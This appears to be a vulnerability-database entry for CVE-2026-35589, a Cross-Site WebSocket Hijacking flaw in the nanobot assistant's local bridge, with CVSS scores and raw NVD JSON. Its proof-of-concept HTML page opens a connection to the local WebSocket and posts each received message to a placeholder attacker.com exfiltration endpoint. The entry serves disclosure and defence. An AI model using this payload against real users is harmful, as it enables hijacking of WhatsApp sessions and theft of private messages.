Security Vulnerability Report
中文
CVE-2026-35589 CVSS 8.0 HIGH

CVE-2026-35589

Published: 2026-04-14 23:16:29
Last Modified: 2026-04-23 17:39:07

Description

nanobot is a personal AI assistant. Versions prior to 0.1.5 contain a Cross-Site WebSocket Hijacking (CSWSH) vulnerability exists in the bridge's WebSocket server in bridge/src/server.ts, resulting from an incomplete remediation of CVE-2026-2577. The original fix changed the binding from 0.0.0.0 to 127.0.0.1 and added an optional BRIDGE_TOKEN parameter, but token authentication is disabled by default and the server does not validate the Origin header during the WebSocket handshake. Because browsers do not enforce the Same-Origin Policy on WebSockets unless the server explicitly denies cross-origin connections, any website visited by a user running the bridge can establish a WebSocket connection to ws://127.0.0.1:3001/ and gain full access to the bridge API. This allows an attacker to hijack the WhatsApp session, read incoming messages, steal authentication QR codes, and send messages on behalf of the user. This issue has bee fixed in version 0.1.5.

CVSS Details

CVSS Score
8.0
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:nanobot:nanobot:*:*:*:*:*:python:*:* - VULNERABLE
nanobot < 0.1.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CSWSH on nanobot --> <!-- Victim visits this page while nanobot bridge is running --> <!DOCTYPE html> <html> <body> <script> // Attempt to connect to the local WebSocket server var ws = new WebSocket("ws://127.0.0.1:3001/"); ws.onopen = function() { console.log("WebSocket connection established"); // Example payload to read messages or interact with API // Specific payload depends on the nanobot bridge API protocol ws.send(JSON.stringify({ action: "get_messages" })); }; ws.onmessage = function(event) { console.log("Received data:", event.data); // Exfiltrate data to attacker's server fetch("https://attacker.com/exfil", { method: "POST", body: event.data }); }; ws.onerror = function(error) { console.log("WebSocket Error:", error); }; </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-35589", "sourceIdentifier": "[email protected]", "published": "2026-04-14T23:16:29.130", "lastModified": "2026-04-23T17:39:07.313", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "nanobot is a personal AI assistant. Versions prior to 0.1.5 contain a Cross-Site WebSocket Hijacking (CSWSH) vulnerability exists in the bridge's WebSocket server in bridge/src/server.ts, resulting from an incomplete remediation of CVE-2026-2577. The original fix changed the binding from 0.0.0.0 to 127.0.0.1 and added an optional BRIDGE_TOKEN parameter, but token authentication is disabled by default and the server does not validate the Origin header during the WebSocket handshake. Because browsers do not enforce the Same-Origin Policy on WebSockets unless the server explicitly denies cross-origin connections, any website visited by a user running the bridge can establish a WebSocket connection to ws://127.0.0.1:3001/ and gain full access to the bridge API. This allows an attacker to hijack the WhatsApp session, read incoming messages, steal authentication QR codes, and send messages on behalf of the user. This issue has bee fixed in version 0.1.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 5.8}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1385"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nanobot:nanobot:*:*:*:*:*:python:*:*", "versionEndExcluding": "0.1.5", "matchCriteriaId": "A49E607E-4AFA-4174-ABF0-23048004C83C"}]}]}], "references": [{"url": "https://github.com/HKUDS/nanobot/releases/tag/v0.1.5", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/HKUDS/nanobot/security/advisories/GHSA-v5j3-4q66-58cf", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/HKUDS/nanobot/security/advisories/GHSA-v5j3-4q66-58cf", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}